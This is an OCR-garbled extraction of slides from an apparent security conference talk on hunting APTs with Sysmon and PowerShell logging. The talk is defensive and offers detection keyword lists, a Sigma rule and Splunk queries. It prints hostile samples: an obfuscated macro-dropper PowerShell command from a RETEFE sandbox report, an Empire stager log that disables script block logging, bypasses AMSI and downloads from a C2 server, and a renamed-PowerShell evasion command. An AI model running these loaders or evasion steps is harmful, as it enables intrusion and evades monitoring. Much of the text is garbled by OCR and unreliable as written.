UserInitMprLogonScript : notepad.exe C:\Users\ \Desktop\UserInitMprLogonScript. txt
PSPath » Micr “t.PowerShell.Core\Registry: :HKEY_CURRENT_USER\Envircnment
PSParentPath : Microsoft.PowerShell.Core\Registry: :HKEY_CURRENT_USER

PSChildMame : Environment
Fshriwve + HEKCU

Microsoft.PowerShell.Core\Regi
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Outline

Introduction

3" of 3 techniques from MITRE ATT&CK

PowerShell

Technique

Tactic
Platform Windows

Permissions User Administrator
Required

Data Windows Registry, File monitoring
Sources Pr command-line parameters,
Pr mnaonitoring

Supports Yes
Remote
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PowerShell (execution)

c 0

ATTECK.

8 https://attack mitre.org

Page @ Discussion Read View form View history |Search enterpris

Last 5 Pages Viewed:

Main page
Help
Confribute
References
Using the AP
Contact us
Terms of Use

Tactics
nitial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery
Lateral Movement
Collection
Exfiltration
Command and
Control
Technigues
Technique Matrix
All Technigues
Windows
Linux
macos

Groups
All Groups

Software

PowerShell

PowerShell is a powerful interactive command-line interface and scripting environment included in
the Windows operating system.['] Adversaries can use PowerShell to perform a number of actions,
including discovery of information and execution of code. Examples include the Start-Process cmdlet
which can be used to run an executable and the Invoke-Command cmdlet which runs a command
locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be
executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire 121
PowerSploit, [ and PSaAttack 4

Examples

Contents [hide]
1 Examples
2 Mitigation
3 Detection

4 References

Examples

« APT29 has used encoc
Powersnell scripts to e
APT3 has used Power!
APT32 has used Powe
APT34 has used Powe
BRONZE BUTLER has used PowerShell for execution.[10]
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1D
Tactic

Platform

PowerShell
Technique
T1086
Execution

Windows

Permissions User, Administrator

Required

Data
Sources

Sunnnrte

Windows Registry, File monitoring,
Process command-ling parameters,

Process monitoring

Yoo

e« APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and
PowerSnell scripts to evade defenses.[®]

APT3 has used PowerShell on victim systems to download and run payloads after exploitation.[7
APT32 has used PowerShell-based tools and shellcode loaders for execution.[8!

APT34 has used PowerShell scripts for execution. ]
BRONZE BUTLER has used PowerShell for execution [10]




PowerShell (execution)

c 0

ATT&CK.

8 https://attack mitre.org/wiki/Technigue
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PowerS Examples

PowerShell is a
the Windows of
including discov
which can be us
locally or on ar

PowerShell may
executed from ¢

Administrator pe

A number of Po
PowerSploit,[F];

Contents [hide
1 Examples
2 Mitigation
3 Detection
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Examples

o APT29 has
Powersnell
APT3 has w

APT32 has | .

APT3dhas L___ .

o AFPTZ29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke.[?] APT29 also used

PowerShell scripts to evade defenses. [l

APT3 has used PowerShell on victim systems to download and run payloads after exploitation.[7]

APT32 has used PowerShell-based tools and shellcode loaders for execution.[]

APT34 has used PowerShell scripts for execution.[®]

BRONZE BUTLER has used PowerShell for execution [19]

CopyKittens has used PowerShell Empire [11]

Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.[12]
Dragonfly has used PowerShell [13114]

FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence. [13112]

FING has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.[16]
FINT uses a PowerShell script to launch shellcode that refrieves an additional payload [17118]

FINS's malicious spearphishing payloads are executed as PowerShell. [191120] FINS has also used PowerShell during Lateral Movement and

Credential Access [20]

Leviathan has used PowerShell for execution [21122]

Magic Hound has used PowerShell for execution.[23]

MuddyWater has used PowerShell for execution [24!

A QilRig macro has run a PowerShell command to decode file contents. [2%]

N

BRONZE BUTLER has used Powershell for execution.[19]
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APT group named “Magic Hound”
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blogs.msdn.microsoft.com

PowerShell Team Blog

Automating the world one-liner at a time...

PowerShell ® the Blue Team

JLE

B Share 45 i)

(Warning: Long blog post ahead! If you'd like to read (or share) this as a whitepaper, you can download it here: "Scr

e 9, 2015 by PowerShell Team 21 Comments

ul’":g SE'FLl'lI._J and Praotection

Advances in Windows 107).

www. fireeye.com

)
{(?5 FireEye Solutions Services Partners

Greater Visipbility Through
PowerShell Logging

February 11, 2016 | by Matthew Dunwoody | Vulnerabilities

UPDATE (Feb. 29): This post has been updated with new configuration recommendations due to the Feb. 24
rerelease of PowerShell 5, and now includes a link to a parsing script that users may find valuable
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8 https://adsecurity.org/?p=284:

« BSides Charm Presentation Posted: PowerShell
24 Secu rity: Defending the Enterprise from the Latest
Attack Platform

By Sean Metcalf in Microsoft Security, PowerShell, Security Conference Presentation/Video

This was my second year speaking at BSides Charm in Baltimore. Last year | spoke about Active Directory attack &

defense and it was my first time speaking at a conference. ‘2

The presentation slides for my talk “PowerShell Security: Defendin
are now on the Presentations tab here on ADSecurity.org. The talk

for information about video publishing. POWQ rS h e | | Se cu rlty
ADSecuty Breseniations Defending the Enterprise from the
» BSides Charm (Baltimore) 2016 Slides [PDF] LateSt Atta Ck P I ath r m

Sean Metcalf (@Pyrotek3)

: sean[@] TrimarcSecurity.com
ﬁ-"s www.ADSecurity.org

TrimarcSecurity.com

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE




PowerShell Security:
Defending the Enterprise from the
Latest Attack Platform

Sean Metcalf (@Pyrotek3)

PowerShell Attack Detection SIDES e

WASHINGTON D.C. TrimarcSecurity.com

* Log all PowerShell activity

*Interesting Activity:
* Net Web Client download.
* Invoke-Expression (and derivatives: “iex”).
* “EncodedCommand” (“-enc”) & “Bypass”
* BITS activity.
* Scheduled Task creation/deletion.
* PowerShell Remoting (WinRM).

* This is a good start...
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PowerShell Security:
Defending the Enterprise from the
Latest Attack Platform

Sean Metcalf (@Pyrotek3)

. . . . 5 se an [@] TrimarcSecurity.com
Offensive PowerShell Detection in PS Logs SIDES oo

WASHINGTON D.C. TrimarcSecurity.com

* Invoke-TokenManipulation:
*« “TOKEN_IMPERSONATE”
 “TOKEN_DUPLICATE”
* “TOKEN_ADJUST_PRIVILEGES”

* Invoke-Credentiallnjection:
* “TOKEN_PRIVILEGES”
» “GetDelegateForFunctionPointer”

* Invoke-DLLInjection
 “System.Reflection.AssemblyName*
« “System.Reflection.Emit.AssemblyBuilderAccess”
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Here’s that list of strings...

Offensive PowerShell Detection Cheatsheet

* AdjustTokenPrivileges
IMAGE_NT_OPTIONAL_HDR64_MAGIC
anagement.Automation.RuntimeException
ft.Win32.UnsafeNativeMethods
ReadProcessMemory.Invoke
Runtime.InteropServices
SE_PRIVILEGE_ENABLED
System.Security.Cryptography
stem.Reflection.AssemblyName
System.Runtime.InteropServices
LSA_UNICODE_STRING
MiniDumpWriteDump
PAGE_EXECUTE_READ
Net.Sockets.SocketFlags
Reflection.Assembly
SECURITY_ DELEGATION
CreateDelegate

TOKEN_ADJUST_PRIVILEGES
TOKEN_ALL_ACCESS
TOKEN_ASSIGN_PRIMARY
TOKEN_DUPLICATE
TOKEN_ELEVATION
TOKEN_IMPERSONATE
TOKEN_INFORMATION_CLASS
TOKEN_PRIVILEGES
TOKEN_QUERY

Metasploit

Advapi32.dll

kernel32.dll

msvcrt.dll

ntdll.dll

secur32.dll

user32.dll

AmsiUtils

PowerShell Security:
Defending the Enterprise from the
Latest Attack Platform

Sean Metcalf (@Pyrotek3)
- 3 : sean [@] TrimarcSecurity.com
$5 S ‘S www.ADSecurity.org

WASHINGTON D.C. TrimarcSecurity.com
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Branch: master» | sigma / rules / windows / powershell / powershell_malicious_keywords.yml

Meo23x0 Lower case T

. — Eg,
3 contributors € '-.'r_ o

45 lines (45 sloc) 1.36 KB

title: Malicious PowerShell Keywords

v experimental

: Detects keywords from well-known Powershell exploitation frameworks

- https:/fadsecurity.orgs¥p=2921

.execution
tlesde
author: Sean Metcalf (source), Florian Roth (rule)
logsource:
: windows

powershell

description: "It is recommanded to use the new “"Script Block Logging™ of PowerShell w

AdjustTokenPrivileges
IMAGE_NT_OPTICNAL_HDRE4 MAGIC
Management . Automation. RuntimeException

Microsoft.Win32.UnsafeNativeMethods

https://fadsecurit

AdjustTokenPrivileges
IMAGE_NT_OPTIOMAL HDRG4 MAGIC
Management.Automation. RuntimeException
Microsoft.Win32.UnsafeNativeMethods
ReadProcessMemory . Invoke
Runtime.Interopservices
SE_PRIVILEGE_EMABLED
system.Security.Cryptography
System.Runtime.InteropServices

LS54 UNICODE_STRIMNG

MiniDumpliriteDump

PAGE_EXECUTE_READ
Met.Socckets.SocketFlags
Reflection.Assembly
SECURITY _DELEGATION
TOKEN_ADIUST_PRIVILEGES
TOKEN_ALL_ACCESS
TOKEN_ASSIGN_PRIMARY
TOKEN_DUPLICATE
TOKEN_ELEVATICN
TOKEN_IMPERSOMATE
TOKEN_INFORMATION_CLASS
TOKEN_PRIVILEGES
TOKEM_QUERY

Metazploit

Mimikatz

keywords

- Penetration tests

high
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“Low FP/high TP” vs. events (90 days)
>>> YMMV !l < < < not all strings are created equal ©

PS5 String * FPE * FPH * | TPE ; 1 |P5 String
PAGE EXECUTE REARD 0
IMAGE NT OPTIONAL HDR64 MAGIC 0

REeadProcessHMemory. Invoke '

A

Microsoft.Win3Z.Un=safeNativeMethods ]
Am=ilUtils

[ (RS SY Y S AR Y
[ T % T (% T (% T %

Management . Automation. RuntimeException ]

L5A TUNICODE J ]
Mini DumpWri telump

[d3]

[d3]

J [HNet.S5ockets.S5ocketFlags ] 2 TGKEH_ELE?ATEGH
SECURITY DELEGATICH ] 26 |TOKEN INFORMATICH CLASS

(dp]

(dp]

! [CreateDelegate [ 27 |Security.Cryptography.CryptoStream
Metasploit ] TOEEN QUERY
EerberosBequestorSecurityloken ] 29 |ScriptBlockLogging

n k3 [k

19

LogPipelineExecutionDetails ]}

) |Advapi3Z2.dll

10 |ProtectedEventLog a

1
1
1
1
1
1

[ T O TR W Y & Y 1
1 L

-]

Svstem.Reflection.AssenmblyName
kernel3z2.dll

System. Security.Cryptography

TRETY
Al
[

o] =l

[ R |

Euntime.InteropServices
System.Runtime . InteropServices
b | Reflection.Asscembly 14" 55
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B https://isc.sans.ed

o c 0
Rengammg P_S.exe =
(evasion technique?)

SAMS ISC 284 POSTS
L |
I5C HANDLER

y. It has a Word document attachment, which, no surpise,

WARNING Variable ‘eohg® not found of memory while H”””“ﬂ”'”h'_' VBA code):

WABRNING  Functio ConyvEnlds nt_found
RNING __Functio CoovEolder +_found
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J\.)@Sandbox Overview~  Startup  Dropped

RETEFE Malware sample

K ;

Static File Info

General

File type: Compaosite Document File V2 Document, Little Endian, Os: Windows, Versii
Rthrdanz MBA., Mumber of Characters: 1155240, Create Time/Date: Sun S T
Security: 0, Keywords: sed, inventore, voluptas, Last Saved By: Milan Rvhr I Vompetn
Template: Normal, Title: Swiss_Re N293477, Total Editing Time: 01:00, Nur im gelben Bereich und danach auf -nhal skivieren®. | ©
totam quae deserunt porro ex.

Entropy (8bit): 5.819373448801757

TrlD: « Microsoft Word document (32009/1) 67.36%
» Generic OLE2 / Multistream Compound File (8008/1) 16.85%
» \fisual Basic Script (6000/0) 12.63%
» Java Script embedded in Visual Basic Script (1500/0) 3.16%

File name: Swiss Re 03 10 2018 293477 doc

File siza: 224256

MD5: alcd912881bebc657042cd5a5a5f7631

SHAT: 5056912d7ee9hab9b88182139a3%baf2b5afe536

SHA256: 27aaa7d137cd99254cc04eled5776cd579d2128367b93a5194a3cde451b83986
SHA512: cf39265b5f8debbb170a212f3d2874432ac9%a5che1bf50d381d136074eaa=088f79b3a50ce1cb93f85337faf28113b28b24a5a7543edec09¢cct1e8bf83863d0f

File Content - SRS RRRSRURRRR = .- o
Preview:
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DOC/macro copy/rename PS.exe to %TEMP%\rnd.exe

« E&¥ qgsbszwjcb.exe (PID: 3056 emdline! EZ"-.UE-EFE-".LISEF"1".-':".|IIpDat-El".LCI-EHr'-.TEH'IF]".i'-.-'ELI"-.-EII|-El’[HE'E"-ﬂE-hEE'-."JjI:]II.E:}IEFi

Startup

= System is w7 _1
. ?-Ejﬁ WINWORD.EXE (PID: 2964 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /n 'C:\Usersluser\Desktop'\Swiss_Re_03_10_2018_293477 doc MD5:
5D798FFOBE2ABST0D932568068ACFDID)
« &3 qsbszwjch.exe (PID: 3056 cmdlinel C:"-.U59r5'-.user~1'-AppData'-.Lc:-caI"-.Temp'-.iueu"-.{:qatl-cDE"-.qShszchh.exeFiutlwﬂ’ ='esftwe’ buoao="6.exe™ boyxcl="cop’ $tkiwja="] = G";Jieuiy7="oce"}

OcexA27="e("htt";5ahmgadso="rse -f;Sxrzxdvuhw="path="3pngzekby="nPolic’ 3seewri="Net. We" 5 YIAAS="%s" Siuuaedb="Do';50AQQAM="ile;Siedgotc="th}." buevxubmy="".$maaaa=" Start’,
SEtWKk="pas" Jouvlpecwd1="ormat ";5CEFXIIO="n + " Jufeez="rmat ", Sctbxyngr="bclie’; X Cngjf="-conte’ Sgwxygkot="ve-" Seqsule&l="] -ge’;3hgbigsjy92="ltem’; S poimmhe="gf9 =" Juahau="19)
["3ErCDdou="y By".30dmee="p+"\dt;§¥cMuylve="-m 5" Scamhrjw="{ Ses’ . Srvvjyuue="ohoop'Siahou="s Spa’;Suwomga=" Ge" Jyfaurk="$oaj §lbzyoa="ps./ 3WPoZleu="t-Exe" Snuamsga="sne’
:Soaesuo="them" $ubjlby="ntyf Suosliy08="t-Date’; Fkpuyab="cutio";3ghoeebi=");(New'; Jiieo="s -5"Soucdc="[doubl’; Joiye="recu’;5aceang="zyy" Juyxoyn="orce’; bwwxrwri="lretr; 3 X dpbd AW="Sleep
SEBYyiU0="jii; Siouvyo76="e Pr';Seeyubc="Szyyq' Spxuyjbey="e]} SKvawTlfmm="+ "V;5TheknEecD28="bras" Siyae="48" Sulkuzyl="-UFo" $mhezz 1="tem’, Scigsoel9="%s; §'5irbdkpki="e(1)
SENVpuoA=Tif Sutwvwjwsfe="comiwp’; SdibcskB7="3pa’, fmukfuln="Remo’ 3 IHJITP="iveu’; 3exibfu="-Pr"; Solgltu="ka_ " Jigfuya="-0b".Syiua=" (3en’;3shcjmfnl="{benv";5sgilhgb="et-Dat", 55E]j
jmgA="oces SCWIAO="") - $yobaeqgz=ect 5" FWJjMuy="en/cs" Juauviea="Start- §GRXACI5="dFil;3KluU="11.11";Fhnafue="ss; ' Sqyyxqu="s/f; SFuacsM="iite".5VzOjgzW="v.temp", Syuxo="w
hil’; bbfucza="ystem ", fotmgdcrzb="break’; 3V JOIZPAET="nt) Sauaidwd="Fes" 5pcbrhdlsfy="exe" “$0l00UE="]}Se" 5odeowqg="wnloa';Shjooul3="th;"; } OEvteddVx="e -UF" 5BjcXaR="0ajn =",5g
emum="nt"; Invoke-Expression (Soucdc+3pxuyjbey+5BjcXaR+Fuwomga+Suosliy08+5ulkuzy0+Sufeez+5cigsoel9+Faceaog+Spoimmhe+3yfaurk+3CEF X0+ 5KluU+5Syuxo+Sirbdkpki+5cam
hrjw+53tkiwja+3sgilhgb+30EvteddVx+Souvipecwd 1+5Y 1AAS+Fuaviea+EXdphd AW+ 5Y cMuylve+5iyae+iNVpuoA+3auaidwd+3eqsuledl+ieeyubctIuahau+otmgderzb+50lo OUE+3WPo
Zleu+3kpuyab+3pngzekby+3ErCDdou+3EtVWKk+Eiieo+boyxcl+Siouvyo76+Sieuiy7+Ehnafue+Sxrzxdvuhw+$shcjmfin0+$mhezz 1+$odmee+3YyiU0+$uoao+$gboeebit+digfuya+Syobae
gz+3bfucza+iseswri+bctbyyngr+EVJIOIZPAET +Fiunaedb+5odeowq+SGREACSS+E0cexAZ2T +5lbzyoa+ Buwxrwri+drvvjyuue+inuamsga+3TheknEecD28+5olgliu+Sutvnwjwsfe+3X Cngj
f+3gemum+3oaeuo+Siothvi7+3ubjlby+3FuacsM+3WJjMuy+5qyyxqu+30AQQAM+Spcbrhdlsfy+5dibcsk 87 +Siedgotc+imaaaa+Sexibfu+ESEjmgA+$iahou+Shjooul 3+Emukfuln+ S guoy
gkob+5hgbigsjy92+5yiva+3Vz OjgzW+5Kvaw THmm+3IHJITP+5CWIAD+50iye+3ahmgadso+uyxoyn+Juevzubmy), MD5: 92F44E4050DB16AC5508TE3BFE3B132FA)

= cleanup
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ProcessCreate Event from PS-renamed

Event

18/12/2018 02:082:52 PM
LogName=Microsoft-Windows-5Sysmon/Operational
SourceMame=Microsoft-Windows-Sysmon
EventCode=1
EventType=4
Type=Information

Message=Process Creat
ComputerName=
User=NOT_TRANSLATED

-

5id=5-1-5-18

=
UtcTime: 2018-18-12 12:02:52.136
Qor ERENE AT IOT

ProcessGuid: {5C2FABBC-8D6C-5BCO-0000-081038B7473C8}

ProcessId: 29464

SidType=0 _ _ : —
i Image: C:\Windows\SysWOwed'\WindowsPowershellvwwl.8phevading-P5-CLI-detections.exe

TaskCategory=Process Create (rule: ProcessCr

FileVersion: 18.8.17134.1 (WinBuild.16@1@1.08388)

OpCode=Info

Description: Windows PowerShell

RecordNumber=151846 : _ R _
Product: Microsoft® Windows® Operating System
Keywords=None ) ) o )
Company: Microsoft Corporation

-

CommandLine: C:\Windows\SyswowWed\WindowsPowerShell'wl.@%evading-P5-CLI-detections.

hevading-P5-CLI-detections.exe CurrentDirectory:

User:

LogonGuid: {5C2FABSC-COF1-5664-0000-0020F@9834187
i o i LogonId: B8x183A95F0
MeSCription. W1nNdows rowe TerminalSessionId: 2
IntegrityLevel: High
Hashes: MD5=DBA3IEG449E9TD4AE3DFA452TEFTA12410, IMPHASH=D14A922C94A1F407CB2BBCADD33CREDTA
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Search for Description: Windows PowerShell

sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational”
ProcessCreate "Description: Windows PowerShell"

X

leld=Hashes ".*MD5=(7<MD5>[A-F@-9]*), IMPHASH=(?<IMPHASH>[A-F@-9]*)"

irchfDescription="Windows PowerShell"
ts dc(ComputerMame ) DC_host count Image MD5 Description

_—
re

S0MT —CouUnt

Sysmon

Image Description F 4 DC_| r coumnt

DWWindowshSysWOWe4\Window Wi, @yvpowershell, exe FFEE3A009248E544649F 49228237619 Windows PowerShell ilils 32581
C:\Windows\System32\WindowsPo "wi.0\powershell.exe CT14F1628FS AE534ACRAD 2F Windows PowerShell
D\Windows\System32\WindowsPow "wi.8\powershell,exe 77226628401 4EGCSOADFAIDGACAFAIC Windows PowerShell

C: \Windows\System32\WindowsPo "wi1.8\powershell.exe 1BO560239032BC C C ' Windows PowerShell

DBA3E6449E97DAE3DF64527EF7012410 | Windows PowerShell

BESFFEBE1C4BSE18AS61B1AICOGA4EAR 5 wershell

Ahevading-P5-CLI-detections. exe DBAIER449E97D4EIDFRA52TEFTR1 2410 w5 PowerShell
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ldea for detection

Search for processes with “Description: Windows PowerShel
Exclude “ ” (the legitimate one)

Also exclude PowerShell ISE
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Search for Description: PS without

sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessCreate
"Description: Windows PowerShell"
earch Image!="#\\powershell.exe" Image!="#\‘\powershell_ise.exe"
"Description: Windows PowerShell ISE"
1eld=Message ".#User: ({ [NT AUTHORITY )\\A\)Z(7<USER1>.%
i=Hashes ".*MD5=(7<MD5>[A-FO-9]*), IMPHASH=( 7<IMPHASH>[A-FB-3]*)"
time ComputerMame USER1 Image CommandLine ParentImage IMPHASH MD5

ComputerMame
Image # CommandLine ¥ Parentlmage

oW 'sWOWE4\WindowsPowerShelliwl. @\evading C:\Window 'SWOWE4\WindowsPowerShelliwvl. @\evading C:\Windows\System32\cmd

tions.exe 5-C detections.exe

Windows\SysWOWe4\WindowsPowershelliv1.@\evading- C:WWindows\SysWoWe4\WindowsPowerShelliv1. @%\evading- C:\Windows\System32hcmd. exe

tions.exe 5-C de tions.exe --version

“WindowsPowershelliwi.@\evading C:%Wind sSWOWE4\WindowsPowershellwl. 8hevading
tions.exe 5-CLI-detections.exe --help
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Search for Description: PS without

sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessCreate
"Description: Windows PowerShell"

"Description: Windows PowerShell ISE"
1eld=Message ".#User: ({ |[NT AUTHORITY )\\M\\)?(7<USER1>.%)"

Parentlmage

vsPowerShell\wl.@\evading C:\Windows
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Hello, world! My name is ©

Administrator; Command F'rl:lr'l'lpt

C:\>C:\Windows\SysWOWe4\WindowsPowerShell\vl.8\evading-PS-CLI-detections.exe -C sal a New-Object;iex(a IO.StreamReader(
{(a IO0.Compression.DeflateStream([I0.MemoryStream][Convert]: :FromBasebdString( Cy/KLEnVOcgvL1FQz@ jNycnXUSJPLEpIUVQHAA=="

), [I0.Compression.CompressionMode]: :Decompress) ), [Text.Encoding]: :ASCII)).ReadToEnd()
hello, world!

Administrator: Command Prompt

C:\>C:\Windows\SyskWOW64 \WindowsPowerShellivl.8\evading-P5-CLI-detections.exe -C $PSVersionTable
Name Value

PSVersion £.1.17134.228

PSEdition Desktop

PSCompatibleVersions {1.e, 2.8, 3.8, 4.6...}

BuildVersion 16.6.17134 228

CLRVersion 4.08.38319.426066

WSManStackVersion 3.8

PSRemotingProtocolVersion 2.3

SerializationVersion I = O
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PowerShell Empire Stager

Empire: PowerShell post-exploitation agent | [Version]: 0.5.1-beta

[Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj@y, @sixdub

Y2 | | N N [
[ VA R N I 0 -
I A O AV [ I Y A I / I
[ l— | [ N N
| N DO I N I O || |
(Empire) = listeners
91 modules currently loaded
[*] Active listeners:
1 alefely st by ! et ID Name Host Type Delay/Jitter KillDate Redirect Target
1 agents currently active 1 test http://192.168.52.146:8080 native  5/0.0
(Empire: listeners) > info (Empire) > [+] Initial agent 2FTFYM2K4SMKCEG4 from 192.168.52.206 now active

(Empire) =
Listener Options:

(Empire) > agents

Name Required Value

e [*] Active agents:

KillDate False

Name True test Name Internal IP Machine Name Username Process
Stagingkey True e B e e e e e
Type True native 2FTFYM2K4SMKCEG4  192.168.52.266 WINDOWS4 *DEV\Administrator powershell/3828
RedirectTarget False

DefaultDela True 5

WOFRingHour; False (Empire: agents) > interact 2FTFYM2K4SMKCEG4

Host True http://192.168.{(Empire: ) >

CertPath False . -

DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).

DefaultProfile True /admin/get .php, /news.asp,/login/ Default communication profile for the agent.

process.jsp|Mozilla/5.0 (Windows
NT 6.1; WOWE4; Trident/7.0;
rv:11.0) like Gecko
Port True 8080 Port for the listener.
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18/683/26018 10:08:52 AM

LogName=Microsoft-Windows-PowerShell/Operational

SourceName=Microsof t-Windows-PowerShell

EventCode=4104

EventType=3

Type=Warning

ComputerHame=wddhre.pnet.ch

User=NOT_TRANSLATED

S5id=5-1-5-21-1117 7318-527879 . "GETFIE LD"('cachedGroupPolicySet ','h'+'cnputlic,5tatic'}:I:FEEFFW€55F5=EEFF.EETVEL
SidType=0 NARY[StRIng,SyStEm.ObjeCt]]: :nEw(); $valL.AdD( 'EnableScriptB'+' lockLogging',8); $vAl. AdD('
TaskCategory=Execute a Remote Command LuE({$NulL, (New-ObJECt ColLLeCtiOnS.GEneriC.HaShSet[StrING]))}Y[REF].ASSEMbLY . GetTYpE("
OpCode=0n create calls ='Mozilla/5.@8 (Windows NT 6.1; WOWG4; Trident/7.@; rv:11.8) like Gecko';[System.Net.Servi
Recorddumber=23524 TWorkCREDentIAls;$Script:Proxy = $wc.Proxy;3K=[SYsteM. TExT.EnCoDiNG]: :ASCII.GEtBYteS( ' 6a:
Keywords=None [$I1+3S[BH]1)%256]}F; $ser="https://| B51';%t="/admin/get.php';$wC.HeadeRS. ADd(

Message=Creating Scriptblock text (1 of 1):

IF($PSVERSionTaBle.PSVErsIon.MAjoR -ge 3){$GPF=[rEf].ASsSEMBlY.GeTTYPe('System.Management.Automation.Utils')

'1=0; $GPCL 'ScriptB'+'lockLogging' 1L 'EnableScriptBlockInvocationlogging' 1=0}8val= GeneriC.DicTIO

Ehellkicrirfe'+'1cckchging']=5¥ﬁl}EL5E{:ECHiFTELcCK]."EeTFiE'ld"('Signaiurea'.'h'+'anutlihlsja-ic'}.Eei¥é

nULL, $ErUEYY ;3 [SYStEm.NEL. SeRvICEPoIntManAger]: : EXpECt188C0ONTInUe=0; $Wc=NeW-0BJeCT SYSTEM.MNET.WebClIEnt;$u
=_ST51ET.LET.ﬁEEHEDLESTW::Ee:culiﬁehFrciv:iﬁc.Prciu.CHEdEhiIilS = [Svstem.Met . CREDEntTalCAChe1: : DEFAULTNE

]=5 [$] pC=3$GPF.GETVaLUe($nU11); I ($GPCL ' ScriptB'+' lockLogging' 1){3GPCL 'ScriptB'+' lockLogging' 1L 'EnableScriptB'+' lockLogeging

lE”£.Eval.adD| Ena:le:crlﬂ:ElcckIn¥cca:1anc::1n’ 8% 3GPC[ "HKEY_LOCAL _MACHINEM\Sof tware\Policies\Microsoft\Windows\Power
setTYpE( ' System.Management. Automation. AmsilUtils'" )| 7{%_3}|* 15_.5EfFiElE('ETSiIHifFEilEd'.'hEHPUhli-.SZE'lc'}.SET¥ElLEF'
tem.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $wC.HeadeRs.Add({ 'User-Agent', u); $wc.Pr

.GEtBYteS('6a204bd89f3c8348afd5cT 7T ?a-_?a'}:EH=€ED.EK=EAFES:ES=D..255:0..255|nibJ=L3]+ﬁ5_ﬁ_]+SK:E_iEK.Ccuhi]jiziﬁ:Z

" .HeadeRS.ADd( "Cookie", "session=0x0ys1T8KMwaqyC8G481 jTVEn20=""; $daTA=$WC . DOwWNLoADDAta ($SER+$L ) $iv=3dATALG. .3];3DATa=
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|dea for detection

Search for any of 3 strings that are not obfuscated (performance reason)
SPSVERSionTaBle.PSVErSIOn.MAjoR

System.Management.Automation.Utils

System.Management.Automation.AmsiUtils

Remove obfuscation characters (simple de-obfuscation)

Search for any of 5 strings (unique, de-obfuscated)
EnableScriptBlockLogging

EnableScriptBlockInvocationLogging
cachedGroupPolicySettings
ServerCertificateValidationCallback

Expectl00Continue
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T -curcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational”
PSVERSionTaBle.PSVErSIOn.MAjoR System.Management . Automation.Utils System.Management. Automation. AmsilUtils
| eval MessageDeobfuscated = replace(Message,"[ ~'+4"\*]","")
| search EnableScriptBlockLogging EnableScriptBlockInvocationlLogging cachedGroupPolicySettings
ServerCertificateValidationCallback Expectl@@Continue
| table _time ComputerMame 5id MessageDeobfuscated
"alert_powershell _PSempire_stager_5m triggered for user " Sid " on " ComputerMame alert_text

MessageDeobfuscated

CreatingScriptblocktext({1of1): IF({$PSVERSionTaBle.PSVErsIOn.MAjoR-geld){$GPF=[rEf].AssEMBLY.GeTT
ﬂEﬂEtlEECFlprlDCkLDEElHE:=E' BGPC '|1r-ElL'kLL__1n-_ﬂEnc|lEEh|1ﬂtElChkln rocationLoggingl=@}3val=
[COlLEctiOns.GeneriC.DicTIONARY[StRIng,SyStEm.ObjeCt]]: :nEw(); $val. "[lEﬂc|lEiLllﬂfElELkLEEEIHE 8);3
ﬁhe;—&t:EificLLeF*iDni.FEnﬁrif Fa:h:#‘Zi:tht -[REF ].ASsEMbLy . GetTYpE(System.Management. Automation. A
JeCTSYSTEM.NET. ' -'E.I'il’-'.in-':-:.-:J-.T'* 1 ;WOW64; Trident/7.d :11.8)11keG ; ]
: DEFAULTHETWorkCREDent LA l_= $Script:Prox
1: %5 _-BxORSS[(SSLEI 1FS[8H]

c17 Path:

ScriptB'+'lockLogging' 1){$GPCL'ScriptB'+'lockLogging' 1L 'EnableScriptB'+'lockLogging

[EnableScriptBlocklLoggingl=0; $GPC[ScriptBlockLogging JLEnableScriptBlockInvocationLogging]=a]
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PS-Empire functions executed

Pen-tester was having “fun” with Empire

PS-Empire functions with parameters found in PS transcript file

t-DomainController | Out-5tring | ${5_ + " "n"};" nGet-DomainController completed!™

t-DomainTrust | Out-String | %{%_ + "'n"};" nGet-DomainTrust completed!"”

t-DomainController -Domain | Out-5tring | %{%_ + ""'n"};" nGet-DomainController completed!”™
Invoke-BloodHound -Threads 20 -CollectionMethod Default -Throttle 1000 -C5VFolder & ((Get-Location) | Out-String |
et-DomainFileServer | Out-5tring | %{%_ + " "n"};" nGet-DomainFileServer completed!™

et-DomainUser -Domain -Server | Out-5tring | %{%_ + "'n"};" nGet-DomainlUser completed!”™

Gy 1 5§l
Mm M

—
LT
=

LT

Searched for “.. | Out-String | %{..
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PS-Empire functions executed (top 60 funct’s)

I':'I||||I|||:I'|I:|||||I|-:-|2|I:|||||I|||3|I:I|

Get-Domainiearcher 1 ConvertTo-5ID 41 Get-DomainDFSShareVa
Get-DomainObject Ldd-RemoteConnection : Get-DomainDFS55hareVl
Invoke-UserImpersonation : Get-NetDomain 43 Find-DomainUserLocation
Invoke-BevertIoSelt 4 30 Get-DomainSite g4 Get-NetLocalGroup
Get-DomainGroup Get-Domain0OU 45 Get-IniContent
Get-DomainlUser Invoke-Method 1€ Get-GptTmpl
et-Forest Fet-Netlomputer 47 Get-DomainFileServer
Convert-LDAPProperty Fet-NetForest 4F Set-DomainlUserPassword
Get-DomainGPO Get-DomainTrust - Set-DomainObjectiwner
Convert-ADName Get-Name : Get-WMIRegMountedDrive
Fet-DomainGroupMember Test-Adminfccess 51 Get-WMIBsgLastLoggedin
F3enum Get-WMIRegProxy 5 Fet-WMIRsgCachedRDPConnection
Fet-DomainDFS5hare Fet-DomainUserEvent 53 Get-HetShare
ConvertFrom-5ID Fet-DomainGUIDMap 54 Get-ForestTrust
Hew-ThreadedFunction Besolve-IPAddress 5 S Get-DomainSubnet
Fet-PrincipalContext Get-WMIFrocess S € Fet-DomainGP0UserLocal GroupMapping
